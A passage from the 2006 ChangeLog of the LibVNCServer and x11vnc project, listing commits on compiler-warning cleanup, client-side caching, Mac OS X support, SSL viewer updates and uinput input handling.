x11vnc/x11vnc.1, 4653 x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, 4654 x11vnc/xevents.c, x11vnc/xevents.h: x11vnc: more -ncache 4655 improvements. 4656 46572006-12-29 runge <runge> 4658 4659 * x11vnc/8to24.c, x11vnc/README, x11vnc/cursor.c, x11vnc/options.c, 4660 x11vnc/options.h, x11vnc/pointer.c, x11vnc/screen.c, 4661 x11vnc/selection.c, x11vnc/userinput.c, x11vnc/util.c, 4662 x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 4663 x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xwrappers.c: x11vnc 4664 -ncache on by default for beta test. fix -nofb & -rawfb modes. 4665 46662006-12-28 runge <runge> 4667 4668 * x11vnc/README, x11vnc/userinput.c, x11vnc/win_utils.c: a couple 4669 more warnings... 4670 46712006-12-28 runge <runge> 4672 4673 * x11vnc/8to24.c, x11vnc/README, x11vnc/connections.c, 4674 x11vnc/cursor.c, x11vnc/gui.c, x11vnc/keyboard.c, x11vnc/macosx.c, 4675 x11vnc/macosx.h, x11vnc/macosxCG.c, x11vnc/macosxCGS.c, 4676 x11vnc/misc/enhanced_tightvnc_viewer/README, 4677 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, 4678 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 4679 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 4680 x11vnc/nox11_funcs.h, x11vnc/pointer.c, x11vnc/remote.c, 4681 x11vnc/scan.c, x11vnc/screen.c, x11vnc/selection.c, x11vnc/solid.c, 4682 x11vnc/userinput.c, x11vnc/util.c, x11vnc/win_utils.c, 4683 x11vnc/xevents.c, x11vnc/xrandr.c, x11vnc/xrecord.c, 4684 x11vnc/xwrappers.c: still more compiler warnings; ssvnc 1.0.9 sync. 4685 46862006-12-28 runge <runge> 4687 4688 * x11vnc/8to24.c, x11vnc/README, x11vnc/cleanup.c, 4689 x11vnc/connections.c, x11vnc/cursor.c, x11vnc/macosx.c, 4690 x11vnc/macosx.h, x11vnc/macosxCG.c, x11vnc/macosxCG.h, 4691 x11vnc/macosxCGP.c, x11vnc/macosxCGS.c, x11vnc/macosxCGS.h, 4692 x11vnc/scan.c, x11vnc/screen.c, x11vnc/sslhelper.c, 4693 x11vnc/uinput.c, x11vnc/userinput.c, x11vnc/v4l.c, 4694 x11vnc/win_utils.c, x11vnc/xevents.c, x11vnc/xwrappers.c: more 4695 compiler warnings cleanup. 4696 46972006-12-28 runge <runge> 4698 4699 * x11vnc/8to24.c, x11vnc/README, x11vnc/connections.c, 4700 x11vnc/cursor.c, x11vnc/gui.c, x11vnc/keyboard.c, x11vnc/macosx.c, 4701 x11vnc/macosxCG.c, x11vnc/pointer.c, x11vnc/scan.c, 4702 x11vnc/screen.c, x11vnc/solid.c, x11vnc/user.c, x11vnc/userinput.c, 4703 x11vnc/userinput.h, x11vnc/win_utils.c, x11vnc/xwrappers.c, 4704 x11vnc/xwrappers.h: x11vnc: clean up compiler warnings. 4705 47062006-12-28 runge <runge> 4707 4708 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, 4709 x11vnc/connections.c, x11vnc/cursor.c, x11vnc/cursor.h, 4710 x11vnc/help.c, x11vnc/keyboard.c, x11vnc/macosx.c, x11vnc/macosx.h, 4711 x11vnc/macosxCGS.c, x11vnc/macosxCGS.h, x11vnc/options.c, 4712 x11vnc/options.h, x11vnc/pointer.c, x11vnc/remote.c, x11vnc/scan.c, 4713 x11vnc/scan.h, x11vnc/screen.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, 4714 x11vnc/userinput.c, x11vnc/userinput.h, x11vnc/winattr_t.h, 4715 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, 4716 x11vnc/xevents.c, x11vnc/xrecord.c, x11vnc/xwrappers.c, 4717 x11vnc/xwrappers.h: x11vnc: more work on -ncache. 4718 47192006-12-17 runge <runge> 4720 4721 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c, 4722 x11vnc/options.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, 4723 x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/userinput.c, 4724 x11vnc/userinput.h, x11vnc/winattr_t.h, x11vnc/x11vnc.1, 4725 x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, 4726 x11vnc/xevents.c, x11vnc/xinerama.c: x11vnc: first pass at 4727 client-side caching, -ncache option. 4728 47292006-12-17 runge <runge> 4730 4731 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c, 4732 x11vnc/options.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 4733 x11vnc/x11vnc_defs.c, x11vnc/xinerama.c: x11vnc: make -xwarppointer 4734 the default if xinerama is active. 4735 47362006-12-16 runge <runge> 4737 4738 * rfb/rfbproto.h: Move our rfbEncodings numbers out of the TightVNC 4739 range. 4740 47412006-12-15 runge <runge> 4742 4743 * libvncserver/auth.c: fix typo. 4744 47452006-12-13 runge <runge> 4746 4747 * ChangeLog: Remove stray "-permitfiletransfer permit file transfer 4748 support" output 4749 47502006-12-13 runge <runge> 4751 4752 * libvncserver/cargs.c: Remove stray ""-permitfiletransfer permit 4753 file transfer support" output. 4754 47552006-12-11 runge <runge> 4756 4757 * x11vnc/README, x11vnc/macosxCG.c, x11vnc/macosxCGS.c, 4758 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: cleanup some 4759 comments. 4760 47612006-12-10 runge <runge> 4762 4763 * x11vnc/misc/enhanced_tightvnc_viewer/README, 4764 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd: sync etv 1.0.8 4765 47662006-12-10 runge <runge> 4767 4768 * classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 4769 x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, 4770 x11vnc/cleanup.h, x11vnc/connections.c, x11vnc/gui.c, 4771 x11vnc/help.c, x11vnc/misc/Makefile.am, x11vnc/pointer.c, 4772 x11vnc/screen.c, x11vnc/screen.h, x11vnc/solid.c, 4773 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c, x11vnc/v4l.c, 4774 x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 4775 x11vnc/x11vnc_defs.c: x11vnc: FINDCREATEDISPLAY support to create X 4776 session if one cannot be found. Fix bug in java viewer. 4777 47782006-11-24 runge <runge> 4779 4780 * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, 4781 x11vnc/help.c, x11vnc/remote.c, x11vnc/user.c, x11vnc/x11vnc.1, 4782 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: install ss_vncviewer 755, 4783 -prog option, HTTPONCE new socket for -inetd. 4784 47852006-11-23 runge <runge> 4786 4787 * classes/ssl/Makefile.am, classes/ssl/README: rename to 4788 ss_vncviewer 4789 47902006-11-23 runge <runge> 4791 4792 * classes/ssl/ss_vncviewer, classes/ssl/ssl_vncviewer: rename 4793 ssl_vncviewer to ss_vncviewer 4794 47952006-11-23 runge <runge> 4796 4797 * classes/ssl/ss_vncviewer: rename ssl_vncviewer to ss_vncviewer 4798 47992006-11-22 runge <runge> 4800 4801 * configure.ac: use AC_CHECK_LIB for fbpm and dpms 4802 48032006-11-21 runge <runge> 4804 4805 * configure.ac: enable --without-fbpm and --without-dpms 4806 48072006-11-21 runge <runge> 4808 4809 * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README, 4810 x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/cursor.c, 4811 x11vnc/help.c, x11vnc/keyboard.c, x11vnc/macosx.c, x11vnc/macosx.h, 4812 x11vnc/macosxCG.c, x11vnc/macosxCGS.c, x11vnc/macosxCGS.h, 4813 x11vnc/options.c, x11vnc/options.h, x11vnc/pm.c, x11vnc/pointer.c, 4814 x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/unixpw.c, 4815 x11vnc/userinput.c, x11vnc/win_utils.c, x11vnc/win_utils.h, 4816 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, 4817 x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xevents.c, 4818 x11vnc/xwrappers.c: x11vnc: Mac OS X fb fixes and cuttext, -nodpms 4819 option, local user wireframing 4820 48212006-11-21 runge <runge> 4822 4823 * x11vnc/misc/enhanced_tightvnc_viewer/README, 4824 x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt, 4825 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl, 4826 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, 4827 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, 4828 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 4829 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 4830 x11vnc/misc/enhanced_tightvnc_viewer/build.unix, 4831 x11vnc/misc/enhanced_tightvnc_viewer/filelist.txt, 4832 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 4833 x11vnc/misc/enhanced_tightvnc_viewer/src/zips/README: update to 4834 1.0.8 and renaming 4835 48362006-11-21 runge <runge> 4837 4838 * x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_tightvncviewer, 4839 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_vnc_gui, 4840 x11vnc/misc/enhanced_tightvnc_viewer/bin/tightvncviewer, 4841 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc 4842 l, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_vncviewer: 4843 delete 4844 48452006-11-21 runge <runge> 4846 4847 * x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, 4848 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, 4849 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 4850 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl: rename 4851 48522006-11-13 runge <runge> 4853 4854 * ChangeLog, configure.ac, prepare_x11vnc_dist.sh, x11vnc/8to24.c, 4855 x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, 4856 x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/cursor.c, 4857 x11vnc/cursor.h, x11vnc/gui.c, x11vnc/help.c, x11vnc/keyboard.c, 4858 x11vnc/linuxfb.c, x11vnc/macosx.c, x11vnc/macosx.h, 4859 x11vnc/macosxCG.c, x11vnc/macosxCG.h, x11vnc/macosxCGP.c, 4860 x11vnc/macosxCGP.h, x11vnc/macosxCGS.c, x11vnc/macosxCGS.h, 4861 x11vnc/options.c, x11vnc/options.h, x11vnc/params.h, 4862 x11vnc/pointer.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, 4863 x11vnc/selection.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, 4864 x11vnc/userinput.c, x11vnc/win_utils.c, x11vnc/x11vnc.1, 4865 x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, 4866 x11vnc/xdamage.c, x11vnc/xdamage.h, x11vnc/xevents.c, 4867 x11vnc/xinerama.c, x11vnc/xrandr.c, x11vnc/xrecord.c, 4868 x11vnc/xwrappers.c, x11vnc/xwrappers.h: x11vnc: Native Mac OS X 4869 support. 4870 48712006-11-08 runge <runge> 4872 4873 * x11vnc/misc/enhanced_tightvnc_viewer/README, 4874 x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/.cp 4875 over, 4876 x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/vnc 4877 viewer.sh, 4878 x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.i386/.cpover, 4879 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_tightvncviewer, 4880 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_vnc_gui, 4881 x11vnc/misc/enhanced_tightvnc_viewer/bin/tightvncviewer, 4882 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc 4883 l, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_vncviewer, 4884 x11vnc/misc/enhanced_tightvnc_viewer/build.unix, 4885 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: Add Darwin 4886 stuff. Sync to current 1.0.7 4887 48882006-11-08 runge <runge> 4889 4890 * ChangeLog, classes/ssl/ssl_vncviewer, configure.ac, 4891 prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, 4892 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: configure.ac -R and macosx, 4893 prepare_x11vnc_dist.sh rpm fix 4894 48952006-10-30 runge <runge> 4896 4897 * x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, 4898 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: Add tip about how to 4899 reenable RECORD extension. 4900 49012006-10-12 dscho <dscho> 4902 4903 * VisualNaCro/nacro.c, VisualNaCro/nacro.h: VisualNaCro: add 4904 sendascii 4905 49062006-10-12 runge <runge> 4907 4908 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cursor.c, x11vnc/help.c, 4909 x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, 4910 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, 4911 x11vnc/x11vnc_defs.c: x11vnc: -cursor_drag for DnD, etc. 4912 49132006-10-11 runge <runge> 4914 4915 * libvncserver/tightvnc-filetransfer/rfbtightserver.c: N_ENC_CAPS 4916 check does not work if libz is not present. 4917 49182006-10-10 dscho <dscho> 4919 4920 * VisualNaCro/ChangeLog, VisualNaCro/recorder.pl: VisualNaCro: add 4921 'i', 'c' and 'r' menu keys 4922 49232006-10-10 dscho <dscho> 4924 4925 * VisualNaCro/ChangeLog, VisualNaCro/recorder.pl: VisualNaCro: add 4926 --compact and --compact-dragging 4927 49282006-10-07 runge <runge> 4929 4930 * classes/ssl/ssl_vncviewer, x11vnc/README, 4931 x11vnc/misc/enhanced_tightvnc_viewer/README, 4932 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl, 4933 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/loca 4934 tion.url, 4935 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc 4936 l, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_vncviewer, 4937 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 4938 x11vnc/misc/enhanced_tightvnc_viewer/src/zips/README, 4939 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Changes for ETV, double 4940 SSL/SSH. 4941 49422006-09-24 runge <runge> 4943 4944 * classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 4945 x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 4946 x11vnc/help.c, x11vnc/keyboard.c, x11vnc/pointer.c, 4947 x11vnc/sslhelper.c, x11vnc/unixpw.c, x11vnc/x11vnc.1, 4948 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: improve SSL Java 4949 viewer, cleanup -unixpw code. 4950 49512006-09-21 runge <runge> 4952 4953 * 4954 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc 4955 l, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_vncviewer: sync 4956 etv. profile cleanup 4957 49582006-09-21 runge <runge> 4959 4960 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 4961 x11vnc/connections.h, x11vnc/help.c, x11vnc/options.c, 4962 x11vnc/options.h, x11vnc/sslhelper.c, x11vnc/unixpw.c, 4963 x11vnc/unixpw.h, x11vnc/user.c, x11vnc/user.h, x11vnc/x11vnc.1, 4964 x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: 4965 -unixpw_cmd, -passwfile cmd:/custom:, -sslnofail, -ultrafilexfer 4966 49672006-09-18 runge <runge> 4968 4969 * x11vnc/misc/enhanced_tightvnc_viewer/README, 4970 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc 4971 l: ETV release 1.0.4 4972 49732006-09-18 runge <runge> 4974 4975 * 4976 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc 4977 l, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: sync 4978 ETV 1.0.4 4979 49802006-09-18 runge <runge> 4981 4982 * libvncserver/rfbserver.c, x11vnc/README, x11vnc/x11vnc.c: x11vnc: 4983 improve ultravnc filexfer rate by calling rfbCheckFD more often 4984 49852006-09-17 runge <runge> 4986 4987 * 4988 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc 4989 l: Sync ETV. 4990 49912006-09-17 runge <runge> 4992 4993 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 4994 x11vnc/cursor.c, x11vnc/help.c, x11vnc/keyboard.c, 4995 x11vnc/options.c, x11vnc/options.h, x11vnc/pm.c, x11vnc/scan.c, 4996 x11vnc/screen.c, x11vnc/sslcmds.c, x11vnc/sslhelper.c, 4997 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, 4998 x11vnc/xinerama.c, x11vnc/xwrappers.c: x11vnc: -verbose, 4999 -connect_or_exit, -rfbport 0, print out SSL cert. 5000 50012006-09-15 runge <runge> 5002 5003 * x11vnc/README, x11vnc/help.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c: 5004 small tweaks, -sig alias. 5005 50062006-09-15 runge <runge> 5007 5008 * libvncserver/rfbserver.c, x11vnc/ChangeLog, x11vnc/README, 5009 x11vnc/cleanup.c, x11vnc/help.c, x11vnc/screen.c, x11vnc/unixpw.c, 5010 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: clear DISPLAY for 5011 -unixpw su_verify, user supplied sig ignore. 5012 50132006-09-14 runge <runge> 5014 5015 * classes/ssl/ssl_vncviewer, x11vnc/ChangeLog, x11vnc/README, 5016 x11vnc/help.c, x11vnc/misc/enhanced_tightvnc_viewer/COPYING, 5017 x11vnc/misc/enhanced_tightvnc_viewer/README, 5018 x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt, 5019 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/esound/downl 5020 oad.url, 5021 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/openssl/down 5022 load.url, 5023 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/openssl/loca 5024 tion.url, 5025 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/plink/downlo 5026 ad.url, 5027 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/plink/licenc 5028 e.url, 5029 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/down 5030 load.url, 5031 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/loca 5032 tion.url, 5033 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/vncviewer/do 5034 wnload.url, 5035 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/vncviewer/lo 5036 cation.url, 5037 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/stunnel-client.co 5038 nf, 5039 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/stunnel-server.co 5040 nf, 5041 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/w98/location.url, 5042 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_tightvncviewer, 5043 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_vnc_gui, 5044 x11vnc/misc/enhanced_tightvnc_viewer/bin/tightvncviewer, 5045 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc 5046 l, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_vncviewer, 5047 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/stunnel-server.conf, 5048 x11vnc/misc/enhanced_tightvnc_viewer/build.unix, 5049 x11vnc/misc/enhanced_tightvnc_viewer/filelist.txt, 5050 x11vnc/misc/enhanced_tightvnc_viewer/src/README, 5051 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/README, 5052 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 5053 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches, 5054 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_vncpatchapplied, 5055 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/stunnel-maxconn.pa 5056 tch, 5057 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 5058 llscreen.patch, 5059 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-ne 5060 wfbsize.patch, 5061 x11vnc/misc/enhanced_tightvnc_viewer/src/zips/README, 5062 x11vnc/remote.c, x11vnc/util.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 5063 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: 5064 enhanced_tightvnc_viewer files, ssh -t keystroke response 5065 improvement. 5066 50672006-09-12 dscho <dscho> 5068 5069 * VisualNaCro/Makefile.am, libvncserver-config.in: fix in-place 5070 compilation of VisualNaCro 5071 50722006-09-12 dscho <dscho> 5073 5074 * VisualNaCro/recorder.pl: fix call to alert() 5075 50762006-09-12 dscho <dscho> 5077 5078 * VisualNaCro/NEWS, VisualNaCro/nacro.c, VisualNaCro/nacro.h, 5079 VisualNaCro/recorder.pl: VisualNaCro: add magic key 'd' to display 5080 the current reference image 5081 50822006-09-12 dscho <dscho> 5083 5084 * VisualNaCro/nacro.h: forgot to check in nacro.h 5085 50862006-09-12 dscho <dscho> 5087 5088 * VisualNaCro/nacro.c, VisualNaCro/recorder.pl: implement rubberband 5089 for rectangular selection 5090 50912006-09-12 dscho <dscho> 5092 5093 * VisualNaCro/Makefile.am, VisualNaCro/configure.ac: fix compilation 5094 with cygwin 5095 50962006-09-12 dscho <dscho> 5097 5098 * rfb/rfbproto.h, vncterm/LinuxVNC.c, vncterm/VNConsole.c: do not 5099 always include rfb/keysym.h 5100 51012006-09-12 dscho <dscho> 5102 5103 * AUTHORS, VisualNaCro/NEWS, VisualNaCro/nacro.c, 5104 VisualNaCro/nacro.h, VisualNaCro/recorder.pl: VisualNaCro: support 5105 clipboard and symbolic key names with X11::Keysyms 5106 51072006-09-12 dscho <dscho> 5108 5109 * VisualNaCro/nacro.c, VisualNaCro/nacro.h: support clipboard 5110 51112006-09-11 dscho <dscho> 5112 5113 * libvncclient/rfbproto.c, rfb/rfbclient.h: make cut text handling 5114 using a hook 5115 51162006-09-10 runge <runge> 5117 5118 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cursor.c, x11vnc/help.c, 5119 x11vnc/ssltools.h, x11vnc/uinput.c, x11vnc/x11vnc.1, 5120 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: REQ_ARGS, 5121 EV_SYN/SYN_REPORT check. restore -cursor most under -display WAIT 5122 51232006-09-05 runge <runge> 5124 5125 * classes/ssl/proxy.vnc, classes/ssl/ssl_vncviewer: Update 5126 ssl_vncviewer. Fix bug in proxy.vnc with multiple PORT= params. 5127 51282006-08-10 runge <runge> 5129 5130 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/linuxfb.c, 5131 x11vnc/uinput.c, x11vnc/uinput.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 5132 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: first pass at 5133 touchscreens via uinput. 5134 51352006-08-02 runge <runge> 5136 5137 * x11vnc/ChangeLog: add to changelog 5138 51392006-08-02 runge <runge> 5140 5141 * classes/ssl/ssl_vncviewer, x11vnc/README, x11vnc/help.c, 5142 x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, 5143 x11vnc/sslhelper.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, 5144 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: 5145 tweaks to ssl_xfer; -ssltimeout option. 5146 51472006-07-31 runge <runge> 5148 5149 * classes/ssl/ssl_vncviewer, x11vnc/README, x11vnc/pointer.c, 5150 x11vnc/scan.c, x11vnc/scan.h, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: 5151 x11vnc: more features to ssl_vncviewer for enhanced tightvnc viewer 5152 project 5153 51542006-07-29 runge <runge> 5155 5156 * classes/ssl/ssl_vncviewer: one more tweak, start from disp 30 5157 51582006-07-29 runge <runge> 5159 5160 * classes/ssl/ssl_vncviewer: add debug = 6 to stunnel config. 5161 51622006-07-28 runge <runge> 5163 5164 * classes/ssl/ssl_vncviewer, x11vnc/ChangeLog, x11vnc/README, 5165 x11vnc/cursor.c, x11vnc/help.c, x11vnc/params.h, x11vnc/pointer.c, 5166 x11vnc/rates.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, 5167 x11vnc/screen.h, x11vnc/solid.c, x11vnc/sslcmds.c, 5168 x11vnc/sslhelper.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, 5169 x11vnc/unixpw.c, x11vnc/user.c, x11vnc/userinput.c, 5170 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, 5171 x11vnc/x11vnc_defs.c: x11vnc: -rotate option 5172 51732006-07-18 runge <runge> 5174 5175 * ChangeLog, configure.ac, x11vnc/8to24.c, x11vnc/ChangeLog, 5176 x11vnc/Makefile.am, x11vnc/README, x11vnc/cleanup.c, 5177 x11vnc/connections.c, x11vnc/cursor.c, x11vnc/gui.c, 5178 x11vnc/keyboard.c, x11vnc/linuxfb.c, x11vnc/nox11.h, 5179 x11vnc/nox11_funcs.h, x11vnc/pointer.c, x11vnc/remote.c, 5180 x11vnc/screen.c, x11vnc/selection.c, x11vnc/solid.c, 5181 x11vnc/sslhelper.c, x11vnc/uinput.c, x11vnc/userinput.c, 5182 x11vnc/util.c, x11vnc/v4l.c, x11vnc/win_utils.c, x11vnc/x11vnc.1, 5183 x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, 5184 x11vnc/xevents.c, x11vnc/xwrappers.c: x11vnc: enable --without-x 5185 builds for -rawfb only binaries. 5186 51872006-07-15 runge <runge> 5188 5189 * configure.ac, prepare_x11vnc_dist.sh, x11vnc/README, 5190 x11vnc/help.c, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.h, 5191 x11vnc/x11vnc_defs.c: update versions for next rel. add some more 5192 shortcuts to user:opts 5193 51942006-07-12 runge <runge> 5195 5196 * ChangeLog, configure.ac: LibVNCServer 0.8.2 release. 5197 51982006-07-12 runge <runge> 5199 5200 * x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.h, 5201 x11vnc/x11vnc_defs.c: set REL8x 5202 52032006-07-12 runge <runge> 5204 5205 * x11vnc/README, x11vnc/help.c, x11vnc/keyboard.c, 5206 x11vnc/linuxfb.c, x11vnc/params.h, x11vnc/pointer.c, 5207 x11vnc/screen.c, x11vnc/user.c, x11vnc/x11vnc.1: x11vnc: wording 5208 changes; remove "-rawfb cons" in favor of "console" 5209 52102006-07-11 runge <runge> 5211 5212 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, 5213 x11vnc/keyboard.c, x11vnc/remote.c, x11vnc/tkx11vnc, 5214 x11vnc/tkx11vnc.h, x11vnc/uinput.c, x11vnc/uinput.h, 5215 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: more 5216 UINPUT mode tweaks. 5217 52182006-07-10 runge <runge> 5219 5220 * x11vnc/README, x11vnc/help.c, x11vnc/remote.c, x11vnc/sslcmds.c, 5221 x11vnc/sslhelper.c, x11vnc/uinput.c, x11vnc/unixpw.c, 5222 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, 5223 x11vnc/x11vnc_defs.c: x11vnc: improve uinput heuristics so button 5224 clicks work on qt-embedded. 5225 52262006-07-09 runge <runge> 5227 5228 * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/Makefile.am, 5229 x11vnc/README, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/linuxfb.c, 5230 x11vnc/options.c, x11vnc/options.h, x11vnc/params.h, 5231 x11vnc/pointer.c, x11vnc/remote.c, x11vnc/screen.c, 5232 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/uinput.c, 5233 x11vnc/uinput.h, x11vnc/util.c, x11vnc/v4l.c, x11vnc/x11vnc.1, 5234 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: add uinput support 5235 for full input into linux fb device (e.g. qt-embed). 5236 52372006-07-05 runge <runge> 5238 5239 * x11vnc/README, x11vnc/keyboard.c: x11vnc: whoops str decl in wrong 5240 place for old compilers. 5241 52422006-07-04 runge <runge> 5243 5244 * x11vnc/README, x11vnc/keyboard.c, x11vnc/pointer.c, 5245 x11vnc/xwrappers.c: x11vnc: check all XKeysymToString() return 5246 values. 5247 52482006-07-04 runge 